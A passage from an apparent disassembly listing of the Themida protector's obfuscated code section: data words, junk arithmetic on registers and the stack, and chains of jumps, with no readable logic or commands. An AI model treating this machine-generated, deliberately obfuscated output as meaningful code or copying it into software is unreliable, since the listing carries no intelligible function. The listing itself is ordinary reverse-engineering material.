0C381E389h, 4, 7C9068h, 24348900h, 3104E9h dd 69E95600h, 66FFFF74h, 0E96FB368h, 0FFFFC3EBh, 4C481h dd 0C3010000h, 3AD6C381h, 0C3810B46h, 41E11588h, 0E9008F66h dd 0FFFEDEB7h ; --------------------------------------------------------------------------- loc_562AF8: ; CODE XREF: Themida_:00562174j xor ebx, esi pop esi sub [edi+24h], ebx mov ebx, [esp] jmp loc_55D920 ; --------------------------------------------------------------------------- loc_562B06: ; CODE XREF: Themida_:00562CA4j push eax mov eax, 0A1F38A5h add eax, 6B541616h add eax, 5CCE64BCh jmp loc_551E4C ; --------------------------------------------------------------------------- loc_562B1B: ; CODE XREF: Themida_:005566B7j mov eax, esp add eax, 4 jmp loc_554214 ; --------------------------------------------------------------------------- loc_562B27: ; CODE XREF: Themida_:00552D36j add edx, 4 xchg edx, [esp] jmp loc_552205 ; --------------------------------------------------------------------------- loc_562B35: ; CODE XREF: Themida_:005538D5j xor ecx, edi not edi jmp loc_5591AF ; --------------------------------------------------------------------------- dw 15Fh dd 0D7C581F5h, 0FF57D305h, 815E2434h, 4C4h, 89BE5600h dd 810DA715h, 0DD5D18F6h, 0CCF6817Dh, 31497C8Fh, 0E8315EF5h dd 0FF9780E9h, 22BA52FFh, 81364234h, 0D495AE2h, 0EAC14A0Eh dd 0E4F28104h, 522CE631h, 0CE95A5Dh, 5DFFFEF8h, 148BD701h dd 531BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B96: ; CODE XREF: Themida_:0055E291j xor edx, [esp] jmp loc_55B9F4 ; --------------------------------------------------------------------------- dw 3C87h dd 0EEE95C24h db 0A7h, 2 dup(0FFh) byte_562BA7 db 66h ; DATA XREF: Themida_:0055078Co dd 50240C8Bh, 0EFE9E089h db 20h, 2 dup(0) byte_562BB3 db 66h ; DATA XREF: Themida_:00550840o dd 74FF6656h, 8B660224h, 0C682434h, 8900006Ch, 30E92414h dd 89FFFFF5h, 44015FF8h, 56580424h, 42B3BF57h, 0C78110D4h dd 77FE0851h, 2FB9F781h, 0FE898AD5h, 0FFAC55E9h db 0FFh ; --------------------------------------------------------------------------- loc_562BED: ; CODE XREF: Themida_:0055B4C7j xor edi, 26DCA120h jmp loc_55FCC6 ; --------------------------------------------------------------------------- dd 8E7743B9h, 63E9417Fh db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C03: ; CODE XREF: Themida_:0055D0F0j dec edx push ebp push esi mov esi, 0AAF2DC82h jmp loc_561D67 ; --------------------------------------------------------------------------- loc_562C10: ; CODE XREF: Themida_:00561E2Fj push 0E6Bh mov [esp], eax jmp loc_5558DB ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C6h dd 279F1021h, 5E9C681h, 0CE011C41h, 5E9EE81h, 0EE811C41h dd 279F1021h, 20C4E9h, 0C4835E00h, 242C8104h, 5D275BF2h dd 81240401h, 5BF22404h, 4815D27h, 411ADB24h, 0DD51E97Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562C5E: ; CODE XREF: Themida_:0056257Cj mov [esp], esi push edx jmp loc_55B450 ; --------------------------------------------------------------------------- db 5 dd 4, 293DE9h, 0C1815900h, 4, 0E904C183h, 0FFFF9986h, 69FDE952h dd 0EFC0FFFFh, 3E7C004h, 5145EF80h, 0ED8038B5h, 0E9CDFEA3h dd 0FFFF590Ah ; --------------------------------------------------------------------------- loc_562C9C: ; CODE XREF: Themida_:00561FF2j mov ebx, esp add ebx, 4 jmp loc_562B06 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 885201B3h, 0F78853DEh, 67E9F888h db 22h, 2 dup(0) byte_562CBB db 0FFh ; DATA XREF: Themida_:005508B8o dd 34FF2434h, 89505924h, 405E0h, 46E90000h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562CCF: ; CODE XREF: Themida_:0055863Aj mov [esp], esp add dword ptr [esp], 4 pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push ebp mov ebp, 4 mov ecx, ebp pop ebp add ebp, ecx push dword ptr [esp] pop ecx jmp loc_561FF1 ; --------------------------------------------------------------------------- loc_562D00: ; CODE XREF: Themida_:005645FBj sub ebx, 2D57511Fh sub ebx, eax add ebx, 2D57511Fh pop eax add ebx, edi sub esp, 4 mov [esp], esi mov esi, 0AB32308h sub ebx, 6B8E4ECEh add ebx, esi jmp loc_5598D1 ; --------------------------------------------------------------------------- dd 6050BF57h, 0FE890221h, 0FF89A3E9h, 2404FFFFh, 1F7685Bh dd 3C890000h, 7635BF24h, 814F4493h, 17655CEFh, 4CF7813Eh dd 8172D95Dh, 0EB4C93EFh, 5FFB29F9h, 54ACF381h, 0F3815C4Ah dd 2CFD4DC7h, 0FF422DE9h db 0FFh ; --------------------------------------------------------------------------- loc_562D71: ; CODE XREF: Themida_:0055D6D9j xchg ebp, [esp] pop esp jmp loc_562F00 ; --------------------------------------------------------------------------- loc_562D7A: ; CODE XREF: Themida_:0055A255j mov edx, [esp] add esp, 4 and eax, edx push dword ptr [esp] jmp loc_55B142 ; --------------------------------------------------------------------------- dw 0E958h dd 0EC8h, 66D3F766h, 66576643h, 0E95881BFh, 0FFFF3554h dd 0E781DFF7h, 54ED775Bh, 5CFE68h, 242C8900h, 744B41BDh dd 0DF1BE939h, 0D105FFFEh, 55716362h, 0E66030BDh, 1EC58116h dd 81258A1Bh, 70BB30C5h, 95BEE92Ch, 5966FFFFh, 305BDE88h dd 148B66F3h, 52E95624h, 43FFFF56h, 11B7F381h, 58E97CBEh dd 57000026h, 2B6ACCBFh, 5FF88956h, 20B7E9h, 4FEE8100h dd 0E94CC265h, 0FFFF78F7h, 24048F5Ah, 2434895Ch, 0FF5E3BE9h db 0FFh ; --------------------------------------------------------------------------- loc_562E19: ; CODE XREF: Themida_:00555922j xor eax, ecx push 2743h mov [esp], eax not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_552713 ; --------------------------------------------------------------------------- dd 17A79305h, 58C301A7h, 0E95BDF89h, 0FFFF51B0h, 673FC181h dd 0AE972BEh db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E4F: ; CODE XREF: Themida_:0055DC72j sub esi, 0B7220Eh jmp loc_558320 ; --------------------------------------------------------------------------- word_562E5A dw 8B66h ; DATA XREF: Themida_:00550864o dd 9AE9240Ch db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E63: ; CODE XREF: Themida_:0055A242j add esi, 85E6418h add eax, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 660C1A7Eh pop ebx and ebx, 18FC3DEFh neg ebx or ebx, 6416675h add ebx, 755F4A70h push edi push ebx jmp loc_565B81 ; --------------------------------------------------------------------------- dd 4EEA815Fh, 81157746h, 656BC3EAh, 81C20164h, 656BC3C2h dd 0E9525064h, 0FFFF7B09h, 2E5C14Dh, 4C27C581h, 0C58116E9h dd 1C280AEAh, 0FF2EC4E9h, 1CC181FFh, 8B244570h, 16E9241Ch dd 46000029h, 0BA52E6D1h, 4A3E2D59h, 0C2EA8142h, 0C16EF358h dd 0C28105E2h, 0A2DD2486h, 15AD601h, 97685EF3h, 0E900004Ch dd 0FFFF42CFh ; --------------------------------------------------------------------------- loc_562F00: ; CODE XREF: Themida_:00562D75j sub ebx, 77E4110Eh xor ebx, 91D45DA1h add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] jmp loc_561E02 ; --------------------------------------------------------------------------- loc_562F1A: ; CODE XREF: Themida_:0055C0B3j pop ebx push ebx jmp loc_554D3C ; --------------------------------------------------------------------------- byte_562F21 db 0ACh, 68h, 0F1h ; DATA XREF: Themida_:00550880o dd 8900007Ah, 0EFB1240Ch, 0FEA8B252h, 4B20E9C2h, 8158FFFFh dd 0D634E0F2h, 89EB811Ah, 0E9719733h, 0FFFF52C3h ; --------------------------------------------------------------------------- loc_562F48: ; CODE XREF: Themida_:00554BCBj xchg ecx, [esp] mov esp, [esp] mov [esp], esi push 7634h mov [esp], ebp mov ebp, esp jmp loc_5570FC ; --------------------------------------------------------------------------- dd 0CFE9FB01h, 80000006h, 91E988C2h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F6F: ; CODE XREF: Themida_:00564234j mov ecx, 0FFFFFFFFh push edi mov edi, ecx push edi add dword ptr [esp], 559453A8h mov ebx, [esp] add esp, 4 jmp loc_56478C ; --------------------------------------------------------------------------- dw 5659h dd 0FF024FE9h, 0FAB353FFh, 0FF5C62E9h, 2434FFFFh, 1DE2E9h db 0 ; --------------------------------------------------------------------------- loc_562FA1: ; CODE XREF: Themida_:00565BF8j push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_554BA2 ; --------------------------------------------------------------------------- loc_562FB5: ; CODE XREF: Themida_:00560CEEj xor [esp], edi jmp loc_553281 ; --------------------------------------------------------------------------- loc_562FBD: ; CODE XREF: Themida_:00556A4Dj pop eax jmp loc_55472A ; --------------------------------------------------------------------------- loc_562FC3: ; CODE XREF: Themida_:00559D3Ej dec ebx dec ebx xor ebx, 4E5D7A71h push edi mov edi, 42370CD4h sub ebx, edi pop edi add edi, ebx pop ebx jmp loc_55CFB3 ; --------------------------------------------------------------------------- loc_562FDC: ; CODE XREF: Themida_:00551E3Dj pop edx push esi jmp loc_5572E1 ; --------------------------------------------------------------------------- loc_562FE3: ; CODE XREF: Themida_:0055C8C4j jmp loc_5509AF ; --------------------------------------------------------------------------- dd 33240431h, 248B2404h, 0D77DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FF6: ; CODE XREF: Themida_:00564268j xor eax, 70EF746Ah mov ecx, eax pop eax xor ecx, 6BC76D1Eh shr ecx, 1 sub ecx, 35D335C5h sub esi, 76463Ah add esi, ecx add esi, 76463Ah mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_5518AE ; --------------------------------------------------------------------------- dw 5456h dd 8324348Bh, 0C68104C4h, 4, 4BB53h, 0BD550000h, 3B4B7CA2h dd 0FF53BFE9h, 0EC8158FFh, 4, 55240C89h, 688A68h, 241C8900h dd 0E73453BBh, 4ECB8138h, 0E9467157h, 0FFFF411Bh, 43234E05h dd 1175E927h, 5C01FFFFh, 0FFE90824h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563083: ; CODE XREF: Themida_:00557080j sub edx, eax pop eax xor ebp, edx jmp loc_554331 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0C904B2EEh, 81C6290Ah, 0C904B2C6h, 5BFEE90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630A6: ; CODE XREF: Themida_:0055ADBAj add eax, 5FFDB282h add ecx, eax jmp loc_56554C ; --------------------------------------------------------------------------- dw 1C87h dd 0EC835C24h, 24248904h, 0FF6852E9h db 0FFh ; --------------------------------------------------------------------------- loc_5630C1: ; CODE XREF: Themida_:00563715j xor edi, 555D05E6h mov esi, edi pop edi sub esi, 6083169Bh add edx, esi pop esi jmp loc_55255A ; --------------------------------------------------------------------------- dd 0D50E6768h, 5357597Bh, 8F27F3BBh, 3E3C172h, 3135B850h dd 0C32918A4h, 0F86E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630F6: ; CODE XREF: Themida_:00563407j mov esp, [esp] mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], edi mov edi, 180A0259h neg edi not edi sub edi, 70222999h push ebp mov ebp, 0 sub ebp, edi mov edi, ebp pop ebp jmp loc_5559CD ; --------------------------------------------------------------------------- db 81h dd 4C4h, 32685200h, 0E962C57Ah, 0FFFF2FF0h, 63EE6856h dd 24890000h, 4BD5524h, 1000000h, 0E904246Ch, 0FFFFF59Ah ; --------------------------------------------------------------------------- loc_56314C: ; CODE XREF: Themida_:00564992j xchg ecx, [esp] push ecx not dword ptr [esp] pop ecx xor [esp], ecx jmp loc_563C12 ; --------------------------------------------------------------------------- dword_56315C dd 0E940478Fh, 0FFFED84Bh, 0DFF7FA87h, 0EC81FA87h, 4, 68242C89h ; DATA XREF: Themida_:005508D8o dd 55DE9AC7h, 81242C8Bh, 4C4h, 5DEA3100h, 12DB68h, 24148900h dd 0FEDF8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563191: ; CODE XREF: Themida_:00552610j xor ebp, 3E5716C9h inc ebp sub esp, 4 mov [esp], edi mov edi, 1850239Ch add edi, 0BE04DC2Eh jmp loc_55E15D ; --------------------------------------------------------------------------- loc_5631B1: ; CODE XREF: Themida_:005529EFj add ecx, 49121E71h add ecx, edx sub ecx, 49121E71h sub ecx, 55E52B45h sub ecx, 1E3F4C56h pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_551F60 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFEAB2h ; --------------------------------------------------------------------------- loc_5631E0: ; CODE XREF: Themida_:0055CCD7j mov eax, [esp] add esp, 4 push eax jmp loc_5617AD ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFDA10h, 81E9E189h, 0E9FFFFBEh, 0FFFED7AFh dd 7E2C059h, 1BEAE9h db 0 byte_563209 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550790o dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 0FFE2F3E9h dd 2C783FFh, 38368h, 0DB0DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56322E: ; CODE XREF: Themida_:0055846Fj add ebp, 591B7A57h mov ebx, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_553C53 ; --------------------------------------------------------------------------- loc_563248: ; CODE XREF: Themida_:0055B42Aj sub esp, 4 mov [esp], eax mov eax, esp push ecx mov ecx, 4 add eax, ecx jmp loc_554512 ; --------------------------------------------------------------------------- loc_563260: ; CODE XREF: Themida_:0055A26Bj mov edx, 27A71991h not edx and edx, 7A7205Eh not edx add edx, 1C9A017Dh add edx, 50966CE3h xor edx, 382B3347h sub ebp, edx pop edx add ecx, ebp mov ebp, [esp] add esp, 4 push eax mov eax, 2541059Ah push ecx jmp loc_55ADAC ; --------------------------------------------------------------------------- loc_56329B: ; CODE XREF: Themida_:0055C34Aj mov [edi+28h], bl push dword ptr [esp] pop ebx push 587Bh mov [esp], edx push esp pop edx push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5509AF ; --------------------------------------------------------------------------- db 45h dd 7E74ED81h, 0E5C15850h, 81D5F704h, 1ECB88F5h, 5DEF3197h dd 295FFD89h, 0DD015AD5h, 1D1DE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5632E6: ; CODE XREF: Themida_:0055EC13j mov ebx, edx pop edx push esi push edi mov edi, 104C6892h and edi, 479B7CBCh push edx jmp loc_5525B6 ; --------------------------------------------------------------------------- loc_5632FC: ; CODE XREF: Themida_:00553B2Ej add ebx, 948B986Ch push esi mov esi, ebx mov edx, esi mov esi, [esp] add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_5583F8 ; --------------------------------------------------------------------------- dd 5CC380h, 0DDBCE9CBh, 0C483FFFEh, 0FF16804h, 14890000h dd 0A8BBA24h, 0ABE937A4h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563337: ; CODE XREF: Themida_:005529CBj mov ebx, edx pop edx sub eax, ebx pop ebx mov edi, [esp] jmp loc_556574 ; --------------------------------------------------------------------------- loc_563345: ; CODE XREF: Themida_:0056599Aj pop edx push esi push 4 pop esi sub ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebp mov ebp, ebx mov eax, ebp jmp loc_55BCC5 ; --------------------------------------------------------------------------- loc_563366: ; CODE XREF: Themida_:005573AEj push dword ptr [esp] pop esi jmp loc_551AA4 ; --------------------------------------------------------------------------- loc_56336F: ; CODE XREF: Themida_:005594F7j push 3F43h mov [esp], edx push esp pop edx jmp loc_5614E8 ; --------------------------------------------------------------------------- loc_56337E: ; CODE XREF: Themida_:0055447Fj pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_559AEB push 3C7Bh mov [esp], esi sub esp, 4 mov [esp], ebx sub dword ptr [esp], 1A1E5EB9h pop esi jmp loc_5574FE ; --------------------------------------------------------------------------- loc_5633A8: ; CODE XREF: Themida_:0055B6D1j mov esi, 507A72EAh neg esi sub esi, 17537423h push ebp jmp loc_5636E7 ; --------------------------------------------------------------------------- loc_5633BB: ; CODE XREF: Themida_:00559D6Dj push edx push dword ptr [esp+4] pop edx jmp loc_565147 ; --------------------------------------------------------------------------- dw 515Ah dd 667E9E68h, 725CE931h, 0E2C1FFFFh, 71F28103h, 81772508h dd 1EAh, 8CF28100h, 5A0DCF7h, 30054810h, 0C656B02Dh, 0E9D0010Ah dd 5DAh ; --------------------------------------------------------------------------- loc_5633F8: ; CODE XREF: Themida_:005525FDj shr edi, 8 sub edi, 0FE841Ah sub ebp, edi pop edi xchg ebp, [esp] jmp loc_5630F6 ; --------------------------------------------------------------------------- dd 0C581D501h, 22EB0A34h, 0FF97D6E9h, 815F5FFFh, 9C3A3EF7h dd 242C8B0Ch, 0BA04C483h, 9D4984ABh, 0FF237BE9h db 0FFh byte_563431 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00550928o dd 0FFCB12E9h, 75BF57FFh, 81048720h, 0AF2EF2F7h, 5FF8310Eh dd 0FF3590E9h, 505166FFh, 0C188FFB0h, 0E9CB0058h, 0FFFF2110h ; --------------------------------------------------------------------------- loc_56345C: ; CODE XREF: Themida_:0055FDFFj push esi mov esi, 435A1E81h or esi, 697D38E9h add esi, 97A8DE7Dh jmp loc_550FEA ; --------------------------------------------------------------------------- loc_563473: ; CODE XREF: Themida_:0055C601j mov [esp], esi pop ebx push ebx jmp loc_563673 ; --------------------------------------------------------------------------- loc_56347D: ; CODE XREF: Themida_:0055AF07j push eax jmp loc_5649B3 ; --------------------------------------------------------------------------- loc_563483: ; CODE XREF: Themida_:005606D6j add esp, 4 jmp loc_55BB27 ; --------------------------------------------------------------------------- word_56348E dw 6664h ; DATA XREF: Themida_:00550800o dd 6866028Bh, 896628B0h, 10E92404h, 57FFFED5h, 0BF3FCD68h dd 243C8B7Bh, 0E9595451h, 0FFFF2FF4h, 0E906EBC1h, 0FFFF7FBFh dd 4C48358h, 24148B66h, 5D6768h, 241C8900h, 8904EC83h dd 4812424h, 424h, 2434FF00h, 0E9241C8Bh, 0FFFFB072h, 0E9D2315Ch dd 0FFFF6EF2h, 5753BD55h, 814D120Ah, 0CC3086C5h, 3EDC101h dd 7E5C14Dh, 0FFE34FE9h, 7EBF57FFh, 122E07Bh, 243C8BFAh dd 0FF08E2E9h, 5B20BDFFh, 0E829422Eh, 83242C8Bh, 4E904C4h dd 31FFFFBBh, 34332434h, 0FB895C24h, 1C5F215Fh, 5B2434FFh dd 0E904C483h, 0FFFF32ECh ; --------------------------------------------------------------------------- loc_56353C: ; CODE XREF: Themida_:005549DFj pop esi xor esi, 8DF2BBEh mov eax, esi pop esi xor eax, 54AE7877h shr eax, 6 shl eax, 1 xor eax, 6A5324C0h jmp loc_5580F8 ; --------------------------------------------------------------------------- loc_56355A: ; CODE XREF: Themida_:0055449Cj mov esp, [esp] jmp loc_559B09 ; --------------------------------------------------------------------------- loc_563562: ; CODE XREF: Themida_:00558D04j mov ebx, 2 sub ebp, 591B7A57h jmp loc_56031F ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 24343304h, 33243431h, 248B2434h, 24048924h dd 0FED422E9h db 0FFh ; --------------------------------------------------------------------------- loc_56358D: ; CODE XREF: Themida_:00554D50j xor ebx, [esp] pop esp mov [esp], eax jmp loc_5566BC ; --------------------------------------------------------------------------- db 5Ch, 83h, 0C1h dd 74FF5104h, 8F590424h, 248B2404h, 9E1AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635AE: ; CODE XREF: Themida_:0055A983j movzx eax, al mov dx, [esp] push 6168h mov [esp], ecx push 4199h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 jmp loc_55F589 ; --------------------------------------------------------------------------- dd 3BB3E981h, 47E96F41h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5635E3: ; CODE XREF: Themida_:00553249j xchg ebp, [esp] pop esp mov [esp], edx mov edx, 0D622AA2h push edi jmp loc_5543AA ; --------------------------------------------------------------------------- loc_5635F5: ; CODE XREF: Themida_:00563AF8j sub esp, 4 mov [esp], edi push 66FA2C38h pop edi jmp loc_555561 ; --------------------------------------------------------------------------- loc_563609: ; CODE XREF: Themida_:00561A17j add esi, eax pop eax sub esi, 4 xchg esi, [esp] jmp loc_564901 ; --------------------------------------------------------------------------- db 89h dd 24148BD0h, 4C481h, 0C6210000h, 58EE8158h, 8114B53Eh dd 322DF7E6h, 1085E914h, 875F0000h, 248B241Ch, 0BA525024h dd 26A175ECh, 7C0DCA81h, 0F28142B0h, 66B17DE9h, 0B4E9D089h dd 33000011h, 895C2414h, 0E589242Ch, 0FF9459E9h db 0FFh ; --------------------------------------------------------------------------- loc_563665: ; CODE XREF: Themida_:005547A4j mov ebp, 23B950AAh or esi, ebp pop ebp inc esi jmp loc_55E5FD ; --------------------------------------------------------------------------- loc_563673: ; CODE XREF: Themida_:00563478j mov edi, [esp] add esp, 4 jmp loc_552108 ; --------------------------------------------------------------------------- db 52h, 68h, 23h dd 5A56851Bh, 0E2C1D2F7h, 84C28105h, 0E9D0A364h, 0FFFF9E8Dh dword_563698 dd 0E932FF66h, 0FFFF3D55h, 240C335Dh, 33240C31h, 248B240Ch ; DATA XREF: Themida_:00550888o dd 8BF9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636B2: ; CODE XREF: Themida_:00557782j or edi, 4C8248AAh jmp loc_554AFA ; --------------------------------------------------------------------------- loc_5636BD: ; CODE XREF: Themida_:005553F1j xor [esp+4], ebp pop ebp pop ebp xor ebp, 0B0D0746h mov edx, [esp] add esp, 4 sub ebp, 23B96C01h jmp loc_563798 ; --------------------------------------------------------------------------- loc_5636DD: ; CODE XREF: Themida_:00561D9Aj mov edi, 4 jmp loc_5641DB ; --------------------------------------------------------------------------- loc_5636E7: ; CODE XREF: Themida_:005633B6j mov ebp, 2DC9353Ch not ebp shr ebp, 2 xor ebp, 7063978h xchg eax, ebp xchg eax, ebp not ebp xchg eax, ebp xchg eax, ebp xor ebp, 8D033F28h or esi, ebp pop ebp jmp loc_5600F6 ; --------------------------------------------------------------------------- loc_56370B: ; CODE XREF: Themida_:0055BF71j mov edx, esp push esi push edi push 35DE1379h pop edi jmp loc_5630C1 ; --------------------------------------------------------------------------- loc_56371A: ; CODE XREF: Themida_:00560E7Bj xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push edx mov edx, 100206F5h not edx add edx, 100206FAh add esi, edx mov edx, [esp] jmp loc_552BB9 ; --------------------------------------------------------------------------- loc_563747: ; CODE XREF: Themida_:00551BF8j add esi, ebp pop ebp jmp loc_55A59C ; --------------------------------------------------------------------------- loc_56374F: ; CODE XREF: Themida_:005546D3j add eax, 4 xchg eax, [esp] jmp loc_557547 ; --------------------------------------------------------------------------- dd 6BE6EE81h, 0DCE94CF4h, 31FFFFAAh, 14332414h, 24248B24h dd 68C8B70Fh, 74D0h, 0FF474DE9h, 19C581FFh, 0E927234Bh dd 0FFFF54B4h, 887FF281h, 0D5899015h, 0E924148Bh, 0FFFF37D9h ; --------------------------------------------------------------------------- loc_563798: ; CODE XREF: Themida_:005636D8j add ebp, edi push ecx mov ecx, 23B96C01h jmp loc_550EAE ; --------------------------------------------------------------------------- loc_5637A5: ; CODE XREF: Themida_:00551DB6j xor ebx, 770FD480h mov ecx, ebx jmp loc_563E06 ; --------------------------------------------------------------------------- dw 565Ch dd 0B97631BEh, 3E6C170h, 0BB53EED1h, 1E5014FDh, 535BDE21h dd 4F3CBE56h, 814E3104h, 0ED6BADCEh, 9C6816Eh, 89D6EDAAh dd 0D9E95EF3h db 0D5h, 0FFh word_5637E2 dw 50FFh ; DATA XREF: Themida_:0053D9E0o dd 5CE95854h, 1FFFEE8h, 8EE95DEAh, 5CFFFFBAh, 0B252BA24h dd 0D0EAD07Fh, 0A6C280EAh, 0FFACD0E9h db 0FFh byte_563805 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005508C0o dd 0FFABADE9h, 0C5C281FFh, 5B3B5F0Bh, 0AE5E952h, 34FFFFFFh dd 5530E924h, 0C483FFFFh, 81E2D104h, 490946C2h, 85B9514Dh dd 81403118h, 99312CC9h, 95BB531Fh, 811D333Ah, 0B125FEF3h dd 4BDBF73Bh, 50EB8143h, 1AAE1A6h, 0F1815BD9h, 0F57E0AB8h dd 0E959CA29h, 0FFFF38AAh, 3B4E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_563866: ; CODE XREF: Themida_:0055FFB9j not ebx sub ebx, 2D9A0998h add ebx, 73EA2FDEh add ebx, 0EB716507h sub ecx, ebx jmp loc_551216 ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0FFFF38E2h, 81242489h, 42404h, 2C8B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_555B29 ; --------------------------------------------------------------------------- db 80h, 0F5h, 3 dd 5159EF00h, 0E980D8B1h, 7FB25221h, 808AEA80h, 0EA80FFC2h dd 0F6FA8604h, 80FA86D7h, 0E945F2h db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638C3: ; CODE XREF: Themida_:00556C16j mov edx, esp jmp loc_5575F5 ; --------------------------------------------------------------------------- loc_5638CA: ; CODE XREF: Themida_:00552392j push esp pop edx sub esp, 4 mov [esp], edi push esi jmp loc_55A636 ; --------------------------------------------------------------------------- db 8Bh dd 81522414h, 4ECh, 24248900h, 4240483h, 4C2815Ah, 55000000h dd 4BDh, 5DEA0100h, 0E9241487h, 0FFFFFBDCh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55DCBE ; --------------------------------------------------------------------------- db 0Fh dd 34FFC0B6h, 1D6FE987h, 4310000h, 80E99C24h db 0D0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56392F: ; CODE XREF: Themida_:00552A2Bj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55AD8C ; --------------------------------------------------------------------------- db 5Ch dd 56242489h, 2730BD55h, 34BE3E46h, 293E4627h, 74015DEEh dd 33E90424h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56395F: ; CODE XREF: Themida_:00556636j not edx inc edx add edx, 33AA16FBh add edx, 26973DBFh jmp loc_554FB5 ; --------------------------------------------------------------------------- aAXyyQpr db '─гXYYпОPR╡',0 dw 57E9h db 11h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563983: ; CODE XREF: Themida_:0055A2B5j push 7D9Eh mov [esp], eax push edx mov edx, 12C4896h mov eax, edx pop edx or eax, 29FC2612h add eax, 155D43C1h add eax, 70805D99h inc eax jmp loc_55BB89 ; --------------------------------------------------------------------------- db 0C0h, 0EDh, 6 dd 0D5F6C5FEh, 0ED80C5FEh, 0E9EF20A8h, 0FFFFB059h ; --------------------------------------------------------------------------- loc_5639BC: ; CODE XREF: Themida_:0055F77Aj add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push edx jmp loc_560C3B ; --------------------------------------------------------------------------- dw 0B005h dd 2D0AC656h, 30054810h, 5024148Bh, 0EC83E089h, 24348904h dd 0FF5A7CE9h, 80EB00FFh, 0C8B76C3h, 4C48324h, 0FF5005E9h dd 0A7E95BFFh, 59FFFF03h, 8324348Bh, 8C6804C4h, 89000066h dd 68552404h, 578F0030h, 9842E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A1E: ; CODE XREF: Themida_:0055BDD6j pop eax pop edi xor edi, 74240CACh push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55EFFE ; --------------------------------------------------------------------------- dw 0D301h dd 241C335Ah, 0E9241C31h, 0FFFEDBA8h ; --------------------------------------------------------------------------- loc_563A4C: ; CODE XREF: Themida_:00559A0Fj mov ecx, esi pop esi sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ecx push 87E1E4Ah pop ecx and ecx, 22963785h push ebp jmp loc_5626C2 ; --------------------------------------------------------------------------- loc_563A70: ; CODE XREF: Themida_:0055875Fj mov ecx, [esp] add esp, 4 jmp loc_55E8C4 ; --------------------------------------------------------------------------- loc_563A7E: ; CODE XREF: Themida_:00565CE1j mov edi, eax jmp loc_555A2A ; --------------------------------------------------------------------------- loc_563A85: ; CODE XREF: Themida_:0055DA78j push esp jmp loc_55E919 ; --------------------------------------------------------------------------- db 81h dd 5A9195F6h, 15B8E95Ah, 2C5BFFFFh, 0EC8153FFh, 4, 0B2241489h dd 300FB338h, 3EE95AD3h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AAF: ; CODE XREF: Themida_:005614A3j push ebx jmp loc_5543E2 ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C8h dd 2C5E9h, 0E2895200h, 4C281h, 0C2810000h, 4, 5C241487h dd 4C381h, 0EC810000h, 4, 0FFC8CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_563AE1: ; CODE XREF: Themida_:0056500Bj sub edi, 17296259h push ecx mov ecx, 0AA742C33h add edi, ecx pop ecx add edx, 146966B2h add edx, edi jmp loc_5635F5 ; --------------------------------------------------------------------------- db 0BEh, 